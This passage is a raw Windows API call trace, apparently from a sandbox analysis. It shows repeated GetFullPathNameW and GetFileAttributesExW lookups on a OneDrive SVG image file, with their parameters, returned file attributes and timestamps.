lpFilePart=0x0) returned 0x62 [0221.672] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.673] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.673] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.673] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.673] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.674] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.674] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.674] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.675] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.675] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.675] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.676] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.676] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.676] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.676] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.677] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.677] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.677] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.677] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.678] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.678] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.678] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.679] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.679] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.679] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.679] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.680] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.680] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.680] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.680] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.681] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.681] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.681] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.682] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.682] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.682] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.682] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.683] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.683] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.683] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.684] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.684] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.684] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.684] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.685] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.685] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.685] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.686] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.686] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.686] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.686] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.687] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, 